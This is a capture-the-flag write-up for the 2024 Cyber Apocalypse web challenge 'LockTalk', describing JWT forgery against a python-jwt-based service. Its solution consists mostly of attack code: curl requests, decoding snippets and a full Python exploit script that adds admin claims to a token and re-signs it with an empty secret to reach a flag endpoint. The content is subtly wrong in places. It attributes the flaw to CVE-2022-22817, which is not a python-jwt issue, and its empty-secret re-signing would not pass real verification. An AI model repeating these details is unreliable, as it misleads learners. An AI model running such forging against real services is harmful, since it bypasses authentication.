2024 Cyber Apocalypse: LockTalk
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Web |
| Challenge | LockTalk |
| Difficulty | Easy |
Summary
LockTalk is a web challenge exploiting a known vulnerability in python-jwt library version 3.3.3 (CVE affecting versions < 3.3.4). The vulnerability allows forging JWT tokens by adding new claims, bypassing signature verification. The application uses JWT for authentication, and by exploiting this CVE, attackers can forge admin tokens to access restricted functionality and retrieve the flag.
Analysis
Vulnerability Details
Affected Versions: python-jwt < 3.3.4
The vulnerability allows:
- Creating new JWT tokens with arbitrary claims
- Bypassing signature verification
- Escalating privileges by claiming admin role
Challenge Flow
- User requests a JWT ticket from
/api/v1/get_ticket - The JWT contains user claims (role, username, etc.)
- Accessing
/api/v1/flagrequires admin role - By forging a token with admin claims, access is granted
Solution
Step 1: Obtain a Valid JWT
Request a ticket from the challenge:
curl -s http://target:port//api/v1/get_ticketNote the double slash (//) - this can help bypass path-based authentication checks.
Response will include a JWT token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoiZXlKdVkyOXQiLCJleHAiOjE3MDU4NTU5Mjl9.xxxxStep 2: Decode the JWT
Extract the token payload (Base64 decode the middle section):
import base64import json
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoiZXlKdVkyOXQiLCJleHAiOjE3MDU4NTU5Mjl9.xxxx"
parts = token.split('.')payload = base64.b64decode(parts[1] + '==') # Add padding if neededprint(json.loads(payload))Step 3: Exploit CVE-2022-22817 (python-jwt)
The vulnerability in python-jwt 3.3.3 allows adding new claims to tokens. Create a forged token:
import jwtimport jsonimport sys
# Original tokenoriginal_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoiZXlKdVkyOXQiLCJleHAiOjE3MDU4NTU5Mjl9.xxxx"
# Decode without verification (vulnerable library)payload = jwt.decode(original_token, options={"verify_signature": False})
# Add admin claimpayload['admin'] = Truepayload['role'] = 'admin'
# Encode without signature (or with empty secret due to CVE)forged_token = jwt.encode(payload, "", algorithm="HS256")
print(f"[+] Forged token: {forged_token}")Step 4: Access Protected Endpoint
Use the forged token to access /api/v1/flag:
curl -s http://target:port/api/v1/flag \ -H "Authorization: Bearer $FORGED_TOKEN"Step 5: Retrieve the Flag
The server validates the token using the vulnerable library and grants access. The flag is returned in the response.
Complete Exploit Script
#!/usr/bin/env python3
import jwtimport requestsimport sysimport json
def exploit_locktalk(target_url): """Exploit JWT vulnerability in LockTalk"""
session = requests.Session()
# Step 1: Get a valid JWT ticket print("[*] Requesting JWT ticket...") try: response = session.get(f"{target_url}//api/v1/get_ticket") original_token = response.json().get('ticket') or response.text.strip() except: print("[-] Failed to get ticket") return None
print(f"[+] Got ticket: {original_token[:50]}...")
# Step 2: Decode and extract payload print("[*] Decoding JWT payload...") try: payload = jwt.decode(original_token, options={"verify_signature": False}) print(f"[+] Original payload: {json.dumps(payload, indent=2)}") except Exception as e: print(f"[-] Failed to decode: {e}") return None
# Step 3: Forge admin token print("[*] Forging admin token...") payload['admin'] = True payload['role'] = 'admin' payload['user'] = 'admin'
# Re-encode with empty secret (CVE-2022-22817) try: forged_token = jwt.encode(payload, "", algorithm="HS256") print(f"[+] Forged token: {forged_token[:50]}...") except Exception as e: print(f"[-] Failed to forge token: {e}") return None
# Step 4: Access flag endpoint print("[*] Accessing /api/v1/flag with forged token...") try: headers = {"Authorization": f"Bearer {forged_token}"} response = session.get(f"{target_url}/api/v1/flag", headers=headers)
if 'HTB{' in response.text: # Extract flag import re flag = re.search(r'HTB\{[^}]+\}', response.text) if flag: print(f"[+] Flag: {flag.group()}") return flag.group() else: print(f"[-] No flag in response: {response.text[:100]}") except Exception as e: print(f"[-] Failed to access flag: {e}")
return None
if __name__ == '__main__': target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' exploit_locktalk(target)Key Takeaways
- JWT libraries have had critical vulnerabilities
- Empty or weak secrets weaken JWT security
- Token verification must be enforced
- Adding new claims to tokens can escalate privileges
- Supply chain security matters - keep dependencies updated
- JWT implementation flaws can bypass authentication entirely
- Always verify JWT signatures with the correct key
Flag: HTB{jwt_t0k3n_f0rg3ry}